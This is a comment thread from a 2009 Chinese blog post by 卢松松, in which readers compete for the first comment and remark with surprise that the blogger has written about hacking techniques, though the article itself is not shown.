在文章结尾处有吧
17楼jaycn回复该留言
Post:2009-11-2 10:11:59
看不出来！！！！！
16楼Eversiming回复该留言
Post:2009-11-2 10:03:22
额..

很恐怖..
15楼虫虫回复该留言
Post:2009-11-2 10:03:14
每天早上来松松这儿踩个点儿
今儿不一样呀
松松这会儿咋好这口了...
14楼雅丹地貌回复该留言
Post:2009-11-2 10:00:01
呵呵~一时兴起~玩玩么？
13楼奋飞回复该留言
Post:2009-11-2 9:57:10
你改行了啊？？？
12楼叶松回复该留言
Post:2009-11-2 9:52:10
怎么这样的呢?
11楼哦耶网回复该留言
Post:2009-11-2 9:50:48
我看了这篇文章绝对不会去搞破坏
10楼雷州半岛回复该留言
Post:2009-11-2 9:47:21
松松，黑客啊
阿尼陀佛
9楼homer回复该留言
Post:2009-11-2 9:42:26
没有最锋利的矛，也没有最坚固的盾。
8楼哦耶网回复该留言
Post:2009-11-2 9:42:19
没想到松松也研究黑客方面的技术
7楼松亮回复该留言
Post:2009-11-2 9:41:54
抢先一步来了。哈哈。松松又来专业知识文章了。猜到你今天得写了，哈哈来个前十名
6楼哦耶网回复该留言
Post:2009-11-2 9:40:10
第一次排到前10名了。
5楼countmeon回复该留言
Post:2009-11-2 9:37:08
哇塞~！今天我来的早！
4楼吴熠回复该留言
Post:2009-11-2 9:33:32
想不到松松也研究技术性的东东。
卢松松于 2009-11-2 22:44:45 回复
闲暇时间都在研究，做网站不能不懂点技术嘛
3楼waitwho回复该留言
Post:2009-11-2 9:33:11
这么早，我一直呆着就2分钟没刷新……就让城市给抢沙发了。。
城市匆匆于 2009-11-2 9:34:20 回复
...
2楼城市匆匆回复该留言
Post:2009-11-2 9:31:10
沙发？更新好早~
亦歌于 2009-11-2 17:16:47 回复
我不挤沙发，挤板凳。
浅笑无声于 2009-11-3 20:53:50 回复
没事也盖盖楼。
1楼about2回复该留言
Post:2009-11-2 9:30:44
一山更比一山高
太阳博客于 2009-11-2 13:06:27 回复
你不介意吧，俺想在这里蹭个小山头。谢谢啦。
90后的贼于 2009-11-2 15:09:54 回复
我也来撑个数，大家不会介意吧
yoja 于 2009-11-2 15:33:45 回复
about2很多次沙发了吧，究竟何方神圣。莫非和老卢一个地方上班
FORECE 于 2009-11-3 12:56:51 回复
怎么着也得蹭一蹭沙发啊！
90后的贼于 2009-11-3 15:14:06 回复
怎么没看到城管呢
90后的贼于 2009-11-3 15:14:25 回复
快来抓小偷啊
use56420 于 2009-11-11 17:04:47 回复
你不介意吧，俺想在这里蹭个小山头。谢谢啦。